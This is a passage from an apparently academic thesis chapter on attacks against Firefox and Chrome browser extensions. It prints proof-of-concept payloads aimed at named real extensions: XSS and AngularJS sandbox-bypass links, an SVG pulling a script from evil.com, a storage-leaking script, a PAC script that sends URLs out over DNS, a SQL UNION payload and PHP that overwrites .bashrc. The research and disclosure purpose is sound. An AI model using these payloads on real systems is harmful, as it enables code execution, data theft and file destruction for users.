Furthermore, while not having an URL, the core of Add-on SDK extensions is part of this scope, too.

Although some injections into chrome content scopes can be performed from websites, a range of bugs
only trigger when internal URLs parameters can be controlled. This makes these vulnerabilities much harder
to exploit since opening extension URIs from web content is generally forbidden in Firefox.

1 init: function()
2 {
3 var url = window.location.href;
4 var parts = url.match(/.*?message=(.*)&exception=(.*)&direction=(.*)/);
5 document.getElementById("message").innerHTML =

decodeURIComponent(epubError.escapeHtml(parts[1]));↪→

6 document.getElementById("message").style.direction =
epubError.escapeHtml(parts[3]);↪→

7 document.getElementById("exception").innerHTML =
decodeURIComponent(epubError.escapeHtml(parts[2]));↪→

8 }

Listing 6.10: Vulnerable init function of EPUBReader’s error page

chrome://*/content/*
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One such hard-to-exploit flaw can be found in the EPUBReader extension. Being a legacy add-on with
roughly 400 thousand users listed on AMO makes it a profitable target for adversaries. The vulnerability can
be found in the init function of its (chrome content) error page and is shown in Listing 6.10. In this
code snippet, the current URL is separated into three components and then each one is written to the DOM.
Despite the use of an escaping function, the vulnerability can be exploited by leveraging URL encoding.
As the sanitization code first escapes all HTML characters and then uses decodeURIComponent, an
attacker merely has to use percent encoding to bypass the previous escaping. A link to an exemplary payload,
executing an alert box on a privileged chrome page, would look like this:

chrome://epubreader/content/error.html?message=a&exception=%3Csvg/
onload=alert(1)%3E&direction=ltr

In order to open such a link on a victim’s host, the adversary can resort to social engineering: If a user
copies and pastes the link in to a navigation bar, the browser will follow this direct order and open the internal
page. Hence, the payload will be executed and the adversary has access to all chrome content APIs which
allows complete compromise of the victim’s host system.

Low Privilege Contexts

Multiple low privilege contexts exist in Firefox. The following list explains where they occur, where injections
might be found and what the consequences are:

• Resource URIs are one of the most prevalent unprivileged contexts in Firefox. Often found in the UI of
Add-on SDK extensions they have no access to internal browser APIs and cannot directly communicate
with their parent extension. Due to their focus on UI, finding vulnerabilities on resource URIs is
roughly equivalent to finding DOM-based XSS flaws on regular websites.

In most cases, injections into resource URIs have very little value for attackers. Due to the restrictions
on this scope, web content often has similar privileges. Therefore, an adversary does not gain any value
from attacking a resource URI.

• Low privilege chrome contexts such as skin can be found in both regular and specialized extensions.
Again, no direct access to chrome APIs is granted. However, both locale and skin contexts
have sufficient privileges to mount powerful attacks against other extensions or the browser itself
(cf. Section 7.1).

While rather rare, injections into low privilege chrome contexts can theoretically occur. For example, a
CSS file of a theme can include external resources from an HTTP URLs, allowing a MitM attacker to
inject arbitrary code in the response.

Content Scripts

Add-on SDK extensions make extensive use of a concept called content scripts. Whenever interaction
with a website is needed, a content script can be injected. Their main advantage is a clear focus on DOM
interaction which allows the browser to have a more restrictive security model in place. Therefore, privileged
APIs cannot be called from a content script, requiring communication with the add-on’s core. Overall,
the concept is very similar to Chrome’s content script model. However, in terms of security there is an
important difference: Instead of immediately allowing access to all hosts the parent extension has access to,
content scripts in Firefox cannot access any other origin than the one they were injected into. If an extension
does want to allow cross-origin requests, it has to give a list of accessible origins to a permission called
cross-domain-content.

chrome://epubreader/content/error.html?message=a&exception=%3Csvg/onload=alert(1)%3E&direction=ltr
chrome://epubreader/content/error.html?message=a&exception=%3Csvg/onload=alert(1)%3E&direction=ltr


CHAPTER 6. ATTACKS ON EXTENSIONS 46

6.2.2. XCS in Google Chrome

Figure 6.2.: Contexts in extensions Figure 6.3.: Contexts in Apps

As Chrome’s security model thwarts many straightforward attacks due to its default CSP, an attacker has to
find ways around the mitigation. However, not all parts of an extension are protected equally: Figure 6.2
shows that in extensions have multiple contexts which are exempt from the default policy. The same applies
to Chrome Apps, as illustrated in Figure 6.3. In both figures, the relationship between scopes is indicated
by using dashed lines for potential communication channels and solid lines for direct access. For instance,
an extension page can directly control the content of a Proxy Auto-Config (PAC) script given the correct
permission, but no access is ever granted the other way round. Each of the following Sections will examine
exactly one injection context. Only sandboxed pages are omitted as their sole purpose is to confine attackers
and disallow any privilege escalation exploits.

Extension Pages

This context, prevalent in both Extensions and Apps, includes all full privilege resources addressable by
chrome-extension URLs such as background pages, option pages and pop-ups. These components are
protected by the default CSP introduced in Section 4.4.2 which most importantly blocks inline scripts in both
Extensions and Apps. In order to bypass this policy, an attacker can choose one of the following techniques:

• While inline JavaScript code is blocked, inline CSS is still allowed. This ability allows an attacker to
restyle the UI of an extension, may it be a regular Extension or App. This leads to misdirection type of
attacks where a victim is tricked into clicking a button or interact with UI elements in a detrimental
way.

• In regular extensions, images and fonts can be additionally included from any location. This allows
attackers to extract attributes8 and text9 from the DOM via CSS. If an extension handles sensitive data,
the consequences of these attacks may be grave.

• If an extension page uses the Filesystem API or blob URIs it effectively creates a new context. This
new context is not subject to the default CSP but is still considered same-origin with the extension
pages, as research by Kotowicz shows10. Thus, an injection in to such a scope has tremendous impact
and can be easily exploited (cf. Section 7.2.2).

8Eduardo Vela Nava. CSS Attribute Reader Proof Of Concept. URL: http://eaea.sirdarckcat.net/cssar/v2/.
9Masato Kinugawa. CSS based Attack: Abusing unicode-range of font-face. Oct. 2015. URL: http://mksben.l0.cm/2015/
10/css-based-attack-abusing-unicode-range.html.

10Krzysztof Kotowicz. I’m in ur browser, pwning your stuff. Aug. 2013. URL: https://www.owasp.org/images/e/ed/
I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf.

http://eaea.sirdarckcat.net/cssar/v2/
http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
https://www.owasp.org/images/e/ed/I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf
https://www.owasp.org/images/e/ed/I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf
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• JavaScript Model View Controller (MVC) frameworks pose a great threat to CSP in general. As
explained in Appendix A.1, any extension exposing a framework such as AngularJS on a web-accessible
URL invalidates the security of CSP entirely. Even if an extension does not bundle a MVC framework,
it can still be affected when other extension expose it. This is because web-accessible resources can
be included from anywhere, including extensions. Furthermore, any white-listed Content Delivery
Network (CDN) may also be abused to include a MVC framework.

• For the sake of completeness, it should be noted that an attacker could use a CSP bypass based on a
browser bug.

1 {
2 // ...
3 "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src

'self'",↪→

4 // ...
5 }

Listing 6.11: Chrome manifest allowing the use of eval

Rarely, none of these techniques are required to obtain code execution in Chrome extensions. However, in
contrast to Apps, Extensions are allowed to relax the restrictions of the default CSP. While inline code cannot
be allowed, eval can. So, if an extension allows eval as shown in Listing 6.11 and features an eval-based
vulnerability, an adversary can directly execute code without being hampered by any mitigations.

However, in most cases attackers will have to deal with CSP. Thus, the next paragraphs will examine a
vulnerability found in the Better History Chrome extension11 and provide an exemplary exploit for the issue.
The extension claims to replace the browser history overview page with a better alternative but suffers from
an XSS vulnerability on its search page.

1 onQueryChanged: function() {
2 this.searchControlsView.render();
3 if(this.model.get('query')) {
4 this.$('.cached').hide();
5 this.$el.addClass('loading');
6 var presenter = new BH.Presenters.SearchPresenter(this.model.toJSON());
7 var properties = presenter.searchInfo();
8 this.$('.title').html(properties.title);
9 this.$('.visits_content').html('');

10 }
11 }

Listing 6.12: Better History XCS vulnerability

Listing 6.12 shows the root cause of the flaw: While other parts of the code consistently use template
libraries to avoid unsanitized values, the onQueryChanged function of the SearchView class directly
inserts the user-supplied title in to the DOM in line eight. Furthermore, an adversary can supply the title as a
parameter of the extension’s URL, allowing the bug to be triggered from web content.

As stated in the previous paragraphs, exploiting the vulnerability requires bypassing the default CSP. And
while Better History enables eval in its manifest file, there is no eval-based vulnerability to be found in

11Chrome Web Store. Better History. URL: https://chrome.google.com/webstore/detail/better-history/
obciceimmggglbmelaidpjlmodcebijb.

https://chrome.google.com/webstore/detail/better-history/obciceimmggglbmelaidpjlmodcebijb
https://chrome.google.com/webstore/detail/better-history/obciceimmggglbmelaidpjlmodcebijb
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the extension. However, the policy relaxation helps adversaries in an other way: Since executing arbitrary
code via AngularJS requires a bypass of the framework’s sandbox, the attacker is either required to find one in
a current version or use one that is publicly available. If choosing the latter, only older versions of AngularJS
can be abused. However, by allowing eval, the amount of publicly known bypasses increases tremendously,
as many of them require the function. Now, in order to exploit the XCS flaw, AngularJS 1.4.3 exposed by the
SaveList12 Chrome extension will be used. The following two steps will trigger the vulnerability:

1. In order to create the payload, first include the AngularJS file from the SaveList extension.

2. Then, use a publicly known bypass and append it to the payload.

3. Open the extension’s search page with the payload in its parameter.

1 <a href="chrome-extension://obciceimmggglbmelaidpjlmodcebijb/index.html#search/< c
script/src=chrome-extension://bjdkhikjbkefnnfkaghgeejggggplfbi/www/lib/ionic c
/js/angular/angular.js></script><b/ng-app/ng-init=&quot;0[['__proto__']].toS c
tring=[][['__proto__']].pop;0[['__proto__']][0]='alert(1)';0[['__proto__']]. c
length=1;$root.$eval('x=0',$root);&quot;>">Right-click and open in new
tab</a>

↪→

↪→

↪→

↪→

↪→

Listing 6.13: XCS attack on Better History

A proof of concept can be found in Listing 6.13. First, it urges the user to right click and open the link in a
new tab. This is one of the bugs bypassing Chrome’s reluctance to navigate to extension URLs from web
content (cf. Section 5.3.2). The link itself triggers the vulnerability with a payload that does not contain any
spaces. This is a restriction imposed by the extension itself since it treats each space as a separator between
multiple key words. Finally, the payload itself includes AngularJS and uses a bypass found by Jann Horn13 to
get arbitrary code execution in the context of the extension.

A successful exploitation gravely impacts the security of a user: The attacker’s payload gains access to
all APIs and origins the extension has requested access to. In the case of Better History, an adversary gains
the privileges to request arbitrary HTTP and HTTPS URLs. Furthermore, full access to the victim’s history,
downloads and sessions is granted.

Content Scripts

DOM interaction of extensions with websites is mediated through content scripts. These scripts do not have
the full permissions of their parent extension. In fact, with a few exceptions the privileges are reduced to
communication with the parent extension and other websites. However, as shown by Kotowicz14, content
scripts are nevertheless a valuable target for attackers. The Chrome documentation specifically states that
“content scripts can make cross-site XMLHttpRequests to the same sites as their parent extensions”15.
With such privileges, an adversary can impersonate the victim from within a content script: Since every
request sent by the browser bears the authentication information of the user, a malicious payload can perform
potential harmful actions on all pages the victim is logged-in on. Furthermore, content scripts have direct

12Chrome Web Store. SaveList. URL: https : / / chrome . google . com / webstore / detail / savelist /
bjdkhikjbkefnnfkaghgeejggggplfbi.

13Mario Heiderich. An Abusive Relationship with AngularJS. Dec. 2015. URL: http://de.slideshare.net/x00mario/
an-abusive-relationship-with-angularjs.

14Krzysztof Kotowicz. I’m in ur browser, pwning your stuff. Aug. 2013. URL: https://www.owasp.org/images/e/ed/
I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf.

15Chrome Developers. Content Scripts. URL: https://developer.chrome.com/extensions/content_scripts.

https://chrome.google.com/webstore/detail/savelist/bjdkhikjbkefnnfkaghgeejggggplfbi
https://chrome.google.com/webstore/detail/savelist/bjdkhikjbkefnnfkaghgeejggggplfbi
http://de.slideshare.net/x00mario/an-abusive-relationship-with-angularjs
http://de.slideshare.net/x00mario/an-abusive-relationship-with-angularjs
https://www.owasp.org/images/e/ed/I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf
https://www.owasp.org/images/e/ed/I_am_in_your_browser,_pwning_your_stuff_-_Krzysztof_Kotowicz.pdf
https://developer.chrome.com/extensions/content_scripts
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access to Chrome’s storage API. Extensions may use the API for a variety of reasons but most notably, it can
be used to synchronize data across all of the user’s browser instances on different hosts. Thus, if hijacked,
potentially sensitive data could be stolen.

Extension Resources in WebViews

WebViews are elements which embed websites in a Chrome App. In contrast to iframes, the embedded
content is fully prevented from accessing the extension in the outermost frame (cf. Section 4.4.2). While
some Apps use the webview tag to display websites, others use it for their own GUI. As this GUI is part of
the extension, it is addressable by chrome-extension URIs. This would normally grant the pages access
to all privileged APIs of the App but, when framed in a webview element, these permissions are greatly
reduced. Only communication with the parent extension and access to the storage API is granted, giving
extension resources in WebViews comparable privileges to content scripts.

In order to exemplify the exploitation of this very curious context, a flaw in the Vivaldi browser (cf. Sec-
tion 3.9.3) will be examined in the next paragraphs. Vivaldi builds on top of Chrome and implements a
feature-rich GUI. Large parts of this GUI are integrated in to an App which comes pre-installed with the
browser bundle. The vulnerability, originally reported by Mario Heiderich, can be found in one of the newly
added features of this browser: In a side bar, Vivaldi allows its users to save notes and, along with those notes,
images. When double clicked, those pictures will be opened in new tab. More precisely, the image is made
addressable by a blob URI and then loaded in to a webview.

1 <?xml version="1.0" encoding="UTF-8"?>
2 <svg xmlns="http://www.w3.org/1999/xhtml">
3 <script src="https://evil.com/attack.js"></script>
4 </svg>

Listing 6.14: SVG image triggering the vulnerability in Vivaldi

In order to exploit the flaw, an adversary can foist an SVG image on a victim. As the vector format supports
scripting, opening the graphic results in arbitrary code execution in the context of the blob URI. Listing 6.14
shows a small SVG file which includes an external script using an XHTML namespace. Similar to blob and
filesystem URIs in extension pages, this image will be considered same-origin with the Chrome App
while being exempt from the default CSP.

1 {
2 "webview" : {
3 "partitions" : [
4 {
5 "name" : "storage",
6 "accessible_resources" : [
7 "browser.html",
8 "..."
9 ]

10 }
11 ]
12 }
13 }

Listing 6.15: Relevant parts of Vivaldi’s manifest file
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The privilege escalation exploit for blob URIs, explained in Section 7.2.2, uses an existing extension URL
and loads it in to an iframe. However, App resources normally cannot be framed, even from same-origin
resources. Luckily, WebViews implement an attribute called partition which allows them to frame extension
files as long as they are declared in the App’s manifest. Vivaldi’s manifest, shown in Listing 6.15, allows
access to various resources for the WebView the vulnerability is executed in, leaving many options for a
privilege escalation exploit. By exploiting the vulnerability, an adversary gains access to cross-origin requests
and the storage API.

1 // existing App-URL for privilege escalation
2 const URL = 'chrome-extension://mpognobbkildjkofajifpdfhcoklimli/browser.html';
3 // as we are in a SVG image, we need to specify the namespace
4 const XHTML_NS = 'http://www.w3.org/1999/xhtml';
5 // create an iframe and wait for it to load
6 const iframe = document.createElementNS(XHTML_NS, 'iframe');
7 iframe.onload = _ => {
8 // partly privileged APIs can be found in the iframe's contentWindow now
9 const values = ['TYPED_HISTORY', 'TYPED_SEARCH_HISTORY'];

10 iframe.contentWindow.chrome.storage.local.get(values, function(obj) {
11 // leak obj to an external domain via XHR...
12 });
13 };
14 iframe.src = URL;
15 // append iframe to SVG's DOM to trigger the request
16 document.documentElement.appendChild(iframe);

Listing 6.16: Leak a victim’s history and search history via Vivaldi-specific storage entries

Especially reading and writing the App’s storage has a large impact on the victim’s security, since Vivaldi
stores a wide range of values in it. Exploits range from adding new web panels to changing the download
options of the browser. Listing 6.16 shows another possible attack reading a user’s history and search history
from the storage.

This vulnerability shows that even though content scripts and extension resources in WebViews are highly
restricted in their capabilities, given the right circumstances, an adversary can still inflict harm. While the
core idea of placing the GUI in WebViews is solid as it allows for a better privilege separation, the access to
the App’s storage nullifies many of the security benefits of this construction.

PAC Scripts

A curious corner case of XCS is a PAC script. Besides allowing static proxies for all requests, browsers
offer the possibility of dynamically configuring different proxy servers based on the requested URL. PAC
scripts consist of JavaScript code which bare minimum declares a function called FindProxyForURL.
This function will be called for each request and must return a string containing its instructions to the browser.
The string itself can either be DIRECT, PROXY domain.com or any combination of those separated by a
semicolon. In order to make an informed decision, helper functions such as dnsResolve can be called to
find out more about the requested URL. While a fairly large subset of the JavaScript language works in PAC
scripts, they are separated from a DOM and other dangerous APIs.

However, an attacker controlling a PAC script still tremendously impacts the security and privacy of a
victim. Two attack scenarios are possible:

1. Obviously, an attacker can enforce an own proxy server to be used. This allows snooping on and
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manipulation of the user’s traffic. However, these capabilities are severely impacted by encrypted
protocols such as HTTPS.

1 function FindProxyForURL(url, host) {
2 // the domain to leak to
3 var LEAKDOMAIN = '.iceqll.eu';
4 // the encoding function basically is URL encoding with - instead of %
5 var encode = function(char) {
6 return '-' + ('00' + char.charCodeAt(0).toString(16)).substr(-2);
7 };
8 // replace all special characters to make a suitable subdomain name
9 var subdomain = url.replace(/[^a-zA-Z0-9]/g, encode);

10 // leak the value
11 dnsResolve(subdomain + LEAKDOMAIN);
12 // tell the browser not to use a proxy
13 return 'DIRECT';
14 }

Listing 6.17: Leak URLs via DNS from a PAC script

2. Furthermore, even for encrypted connections, the proxy script will receive the full URL (excluding the
anchor) of each request. It can then proceed to leak all URLs via the Domain Name System (DNS) by
using the dnsResolve function. Listing 6.17 shows an exemplary exploit which transforms an URL
in way that allows full recovery of the original value. One limitation is the limit of 63 characters for a
domain name. A script can easily adjust to this limit by sending multiple DNS requests.

1 var c = new XMLHttpRequest();
2 // HTTP URL can be MitMed
3 var d = "http://api.proxyera.com/1.1.4/";
4 c.open('POST', d, true);
5 var a = c.responseText.split("#");
6 localStorage['pac'] = a[0];
7 // the pac value is under our control...
8 var a = {
9 mode: "pac_script",

10 pacScript: {
11 data: localStorage['pac']
12 }
13 };
14 // ...and is directly given to chrome.proxy
15 chrome.proxy.settings.set({
16 value: a,
17 scope: 'regular'
18 }, function() {});

Listing 6.18: PAC script injection in Proxy Era (simplified)

As can be seen from Listing 6.18, the following paragraph explains a vulnerability found in the Proxy Era
Chrome extension16. The extension, marketing itself as a tool to “unblock all web sites and block all hackers”,
loads a rotating list of proxies from an HTTP endpoint. Along with the duration this proxy should be kept, a
full PAC script is supplied from the proprietary website and given to a privileged Chrome API in line 16. An
MitM attacker can intercept the request and return an own response – effectively allowing a rogue PAC script

16Chrome Web Store. Proxy Era. URL: https://chrome.google.com/webstore/detail/proxy- era/
jdhebjohjpgicipoimkglgledckdalke.

https://chrome.google.com/webstore/detail/proxy-era/jdhebjohjpgicipoimkglgledckdalke
https://chrome.google.com/webstore/detail/proxy-era/jdhebjohjpgicipoimkglgledckdalke
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to be placed in the browser. As each request can now be routed through a proxy server of the adversary, all
subsequent calls to the API can be fully controlled, too. An attacker gains two major advantages by exploiting
this flaw: First, while the initial MitM attack may have been temporary (e.g. in a wireless network), now
the proxy settings ensure a permanent control over unencrypted requests. Furthermore, as shown in attack
scenario number two, the attacker may now leak the full URLs of visited encrypted pages. This leads to
various kinds of information disclosure such as leaking the Facebook name, finding shared documents on
services like Google Docs and extracting OAuth secrets.

6.3. SQL Injection

While the Structured Query Language (SQL) is rarely encountered in extensions, it is far from being irrelevant.
In the cases it is used, an adversary may be able to inject own commands in to the query language and
influence its result. However, in contrast to regular web security, SQL Injection flaws in extensions are not
immediately useful for an attacker. Often, it is not easily possible to extract the leaked information to an
attacker-controlled domain since the result of the query is shown on one of the extension’s pages. Furthermore,
many extensions use the underlying database for less sensitive data which might not be worthwhile to obtain.
In these cases, an adversary may still use the injection to influence the program flow of the extension, leading
to other vulnerabilities.

The APIs capable to process SQL differ between Firefox and Chrome which is why the next Sections
focus on each browser independently. Furthermore, the APIs are tested against stacked queries, in order to
uncover the most valuable targets for an attack. A query is called stacked, if it contains more than one SQL
statement. While this is regularly possible in SQL shells by using the semicolon character, most database
functions prevent this behavior.

6.3.1. SQL Injection in Mozilla Firefox

1 const Cc = Components.classes;
2 const Ci = Components.interfaces;
3
4 const fileClass = Cc['@mozilla.org/file/local;1'];
5 var localFile = fileClass.createInstance(Ci.nsILocalFile);
6 localFile.initWithPath('/tmp/database.sqlite');
7 const serviceClass = Cc['@mozilla.org/storage/service;1'];
8 const service = serviceClass.getService(Ci.mozIStorageService);
9 var database = service.openDatabase(localFile);

Listing 6.19: Open SQLite connection directly via XPCOM classes

1 Components.utils.import('resource://gre/modules/Services.jsm');
2 Components.utils.import('resource://gre/modules/FileUtils.jsm');
3
4 var localFile = FileUtils.File('/tmp/database.sqlite');
5 var database = Services.storage.openDatabase(localFile);

Listing 6.20: Open SQLite connection via utils

In Firefox, extensions can request access to a SQLite database by using the XPCOM storage service. A
database connection can be opened with two distinct code snippets, the first one shown in Listing 6.19 and
the second one in Listing 6.20. However, the implementation of Listing 6.20 internally relies on the code of
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Listing 6.19. Vulnerabilities can arise on each use of the connection, especially when SQL statements are
appended to each other via string methods. Any attack-controlled value which is appended to the query and
not sufficiently escaped can potentially be used for an attack.

Function Stacked?
mozIStorageConnection.executeSimpleSQL X
mozIStorageStatement.executeAsync
mozIStorageStatement.executeStep
mozIStorageAsyncStatement.executeAsync

Table 6.1.: Stacked query availability in Firefox

Firefox’ mozIStorageConnection class features 4 distinct ways to query the database. Table 6.1
shows all three and determines that only executeSimpleSQL can be used to send stacked queries.

1 getEpub: function(a) {
2 this.select("select * from book where id = " + a + " and status = 1")
3 }

Listing 6.21: SQL Injection flaw in EPUBReader Firefox extension

A SQL Injection flaw can be found in the EPUBReader Firefox extension17. The add-on itself displays
EPUB books directly in the browser. When visiting an URL with the epub file extension, the extension
downloads the book to a local directory and attempts to read it. It is automatically added to a list of books called
catalog (about:epubcatalog) which is internally managed by a SQLite database. Therefore, the actual
reader component can look up each book by an internal database identifier (about:epubreader?id=X).
During the initial insert in to the database the add-on seems to sufficiently sanitize all attacker-controlled
values. However, when opening a book from the catalog, the identifier supplied in the URL is left unprotected
by the code shown in Listing 6.21. A carefully crafted payload is able to control the outcome of the getEpub
function, as long as it returns same amount of columns as the books table has. As two of the parameters are
used to determine the path of the locally saved e-book, they can be used to include arbitrary files from disk:

about:epubreader?id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,"file:
///tmp/file.html#",9,10,11--

The above payload first uses an invalid identifier (-1) to select a non-existing database record. Since only
the first result row is used by the extension’s code, this ensures that the attacker’s values are displayed. From
the first row, only columns number eight and nine are used in visible locations. The eighth column is used as
the base URI for the book’s files and the ninth to identify the cover page. Thus, the exploit above appends an
URL anchor to the base URI to ignore any appended file names. As the extension opens two frames, one for
navigation and one for content, this has effect on both of them: Navigation and content URLs are always
prefixed with the base URI, so that this trick allows an adversary to control the content of both at all times.
However, other types of URL schemes cannot be used for an attack, since the URL flows into a file-specific
Firefox interface.

Estimating the impact of this vulnerability requires brief knowledge of the EPUB format and the way
the add-on handles it. As EPUB is a mix of HTML and XML files, the extension needs to make sure that

17addons.mozilla.org. EPUBReader. URL: https://addons.mozilla.org/de/firefox/addon/epubreader/.

about:epubcatalog
about:epubreader?id=X
about:epubreader?id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,"file:///tmp/file.html#",9,10,11--
about:epubreader?id=-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,"file:///tmp/file.html#",9,10,11--
https://addons.mozilla.org/de/firefox/addon/epubreader/


CHAPTER 6. ATTACKS ON EXTENSIONS 54

malicious e-books cannot execute any JavaScript in the chrome scope. Therefore, EPUBReader employs
sandboxed frames: One frame, utilized for navigation, is built from the sanitized XML index of the file. The
other frame, used for the book’s content, directly includes the EPUB file’s resources and, thus, completely
disallows any scripts. By abusing the above vulnerability, an adversary controls the URL base of both frames.
For the navigation file, the string nav.html will be appended. Therefore, the payload uses the hash tag
to ignore all appended strings in the context of a file URI which, in turn, allows the adversary to include
arbitrary local files in the (less protected) navigation frame. The result is script execution in the frame but
with severe limitations:

• An adversary needs to know the path of a controlled file. While the (unpacked) e-books are stored on
disk by the add-on, their path is inside of the randomized profile folder. Therefore, the above payload
includes a file from the more easily guessable Downloads directory. Obviously, this file has to be
placed first by using a forced download or similar.

• In order to trigger the SQL Injection, a bug to open an about URI must be used.

• In contrast to the content frame, the navigation frame allows scripts. However, as the type attribute of
the iframe is set to content, the script actually executes with web privileges.

In summary, the attack is less useful in a real-world scenario but nicely shows the way SQL Injection can
occur in extensions.

6.3.2. SQL Injection in Google Chrome

1 var size = 2 * 1024 * 1024;
2 const db = window.openDatabase('name', '1.0', 'desc', size);

Listing 6.22: Opening a Web SQL database in Chrome

Instead of implementing an own storage API like Firefox, Chrome offers access to a Web SQL implementation
based on SQLite. Web SQL is a discontinued standard of the W3C [Hic10], attempting to bring the relational
databases to the web. Listing 6.22 shows the code required to open a new database connection.

Function Stacked?
SQLTransaction.executeSql

Table 6.2.: Stacked query availability in Chrome

As can be seen from Table 6.2, none of the offered database functions support stacked queries. If an
adversary attempts to insert a colon with another statement, the API simply returns an unspecified error.
Despite its occurrence in the standard, Chrome does not implement any synchronous Web SQL database
functions.

6.4. Clickjacking

As many extensions satisfy security- or privacy-related needs, tricking victims into executing unwanted
actions can have grave consequences. While almost always requiring a certain amount of social engineering,
research and real-world attacks have repeatedly shown that most users do not recognize a click on a random
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website as being potentially harmful (cf. Section 3.8). In fact, even instructions for multi-step payloads are
sometimes willingly followed [Sto10].

Similar to fingerprinting attacks (cf. Section 6.1), only a web attacker will be considered. Each of the
more powerful attacker models is able to perform the same or even stronger attacks. From the wide range of
possible Clickjacking techniques, the following Section describes one that is applicable to most extensions. It
has only one prerequisite: An adversary needs a bug to open an extension URL from web content. This is
a common requirement for many different types of exploits against extensions (cf. Section 6.2). So, while
only an attack against a Chrome extension is described, any Firefox extension could be targeted by the same
technique after finding the necessary bug.

6.4.1. Bait and Switch

The name of this Section is adopted from a paper by Huang et al. [Hua+12], which explains an attack
reminiscent of the following technique. If an extension has an adversarial effect caused by relatively low
user interaction (e.g. a simple button press), this attack might be applicable. First, a user has to visit an
attacker-controlled website. It will open the targeted resource of the extension in a background tab and
proceed to distract the victim. While there are many distractions at disposal for an adversary, a game is a
very natural choice since its rules may require the user to click around on the page. After introducing the
mechanics, the site can anticipate a click and switch to the background tab in the correct moment. A correct
positioning of the game’s button will result in the extension’s button being clicked after the switch. If the site
manages to close the tab fast enough, the attack might not even be noticeable for a naive victim.

Figure 6.4.: AdBlock’s popup dialog Figure 6.5.: Transparent front tab

What follows is an exemplary attack on the AdBlock extension. In particular, the target is a link with the
caption Pause AdBlock, also shown in Figure 6.4. It disables the extension’s functionality, overriding the
victim’s original wish to hide advertisements. In order to perform the attack, the following steps must be
performed:

1. First, an attacker has to find the internal chrome-extension URL of the pop-up dialog.. In this
example, the URL is chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/
button/popup.html.

2. Now, the victim has to be lured on an attacker-controlled website. It contains a game which requires
double clicks to obtain points. In a time where games like Cookie Clicker thrive18, this scenario may
not seem as artificially constructed as it is.

18Orteil. Cookie Clicker. URL: http://orteil.dashnet.org/cookieclicker/.

chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/button/popup.html
chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/button/popup.html
http://orteil.dashnet.org/cookieclicker/
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3. In order to start the game, the victim has to click a button. This is required in order to open the
background tab with the extension URL, as in any other case the browser will prevent it due to its
pop-up policies. An alert box can be used to prevent the browser from switching to the newly opened
background tab.

4. After introducing the game mechanics with some buttons which have to be double clicked, a special
button is shown to the victim. Its position is aligned to the extension’s link, as can be seen from
Figure 6.5. In this Figure, the opacity of the game’s tab has been reduced so that the actual attack target
is visible. After the user clicked the first time, the background tab is focused, so that the second click
actually hits the target.

5. The background tab can be closed in very fast succession in order to avoid the suspicion of the user.

6.5. Browser Vulnerabilities

As the browser and its extension system are deeply interconnected, adversaries can use browser vulnerabilities
to attack extensions. Conversely, the extension system can be used to aid the exploitation of the browser itself.
This interplay is examined in this Section, based on a flaw found in Mozilla Firefox.

6.5.1. Arbitrary File Write

A bug in Firefox up to version 44 allows an adversary to write files to arbitrary locations of a victim’s host
system19. It uses CSP’s report functionality, allowing a developer to specify an URL which will receive
violation reports in a JSON data structure. If this report URL points to a local file instead of a website, the
browser attempts to store the report on disk. This unexpected behavior allows an adversary to write files
accessible by the Firefox process. There are four possible consequences of this attack:

• An attacker can blindly overwrite files on the victim’s file system to force data loss and failure of other
programs. In this case, the actual content of the report is insignificant. However, without a second bug,
an adversary has no possibility of knowing the actual locations of important files and thus is limited
to guess probable paths. Yet, this is not impossible since multiple locations can be overwritten at the
same time, making a brute force approach feasible.

• If a file of a regular extension is overwritten, the browser’s signature check will fail on the next start.
Thus, an adversary can perform a Denial of Service (DoS) type of attack and disable security relevant
add-ons. Again, the actual content of the report is rather insignificant. In order to test for the presence
of an extension, an adversary can employ any of the techniques presented in Section 6.1.

• All extensions not subject to rigorous signature checks can be hijacked by an adversary. This
most notably applies to localization packages and themes. In this variation, the report must con-
tain a carefully crafted payload. After a successful attack, an adversary might be able to further
escalate privileges and obtain full code execution on the victim’s host (cf. Chapter 7). A special
case of this attack targets users who disabled the signature verification mechanism by setting their
xpinstall.signatures.required setting in about:config to false.

• Since most Linux shells use very lax parsing rules, the JSON report written to disk may be able to
execute code when written to some files such as the user’s .bashrc.

19Nicolas Golubovic and Frederik Braun. Bug 1243178 – CSP’s report-uri (over-)writes files. Jan. 2016. URL: https:
//bugzilla.mozilla.org/show_bug.cgi?id=1243178.

about:config
https://bugzilla.mozilla.org/show_bug.cgi?id=1243178
https://bugzilla.mozilla.org/show_bug.cgi?id=1243178
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The following examples will provide examples for the first three variations. All of them require the
following two steps to work: First, a restrictive CSP has to be set up with the destination paths as the target
of the report-uri directive. Then, the page itself must violate the policy, possibly with a payload that
will be later included in the report. While all of the examples focus on Linux, the attack works analogous on
Windows systems.

1 <?php header("Content-Security-Policy: script-src 'none'; "
2 . "report-uri file:///proc/self/cwd/.bashrc "
3 . "file:///proc/self/cwd/.xinitrc"); ?>
4 <script>junk</script>

Listing 6.23: Overwriting multiple files on disk using the Firefox bug

Listing 6.23 starts with PHP code to set up a restrictive CSP with two report URIs. The language is
interpreted on the server side which makes it possible to declare HTTP headers in it. Apart from the PHP
code, there is only a script tag immediately violating the policy which disallows all scripts. Both report URIs
use a trick to point at files in the victim’s home directory on Linux hosts. Due to the proc file system, the
adversary has access to the current working directory of the Firefox process which will almost always be the
user’s home directory. This eliminates the need to brute force the correct full path (e.g. /home/nicolas/).
In summary, visiting this exemplary malicious page results in two overwritten files in a victim’s home
directory.

1 <?php header("Content-Security-Policy: script-src 'none'; "
2 . "report-uri chrome://https-everywhere/content/about.xul"); ?>
3 <script>not relevant</script>

Listing 6.24: Deactivating the HTTPS Everywhere add-on by overwriting one of its files

While the last payload certainly can wreak havoc on the victim’s system, it’s impact is limited to file system
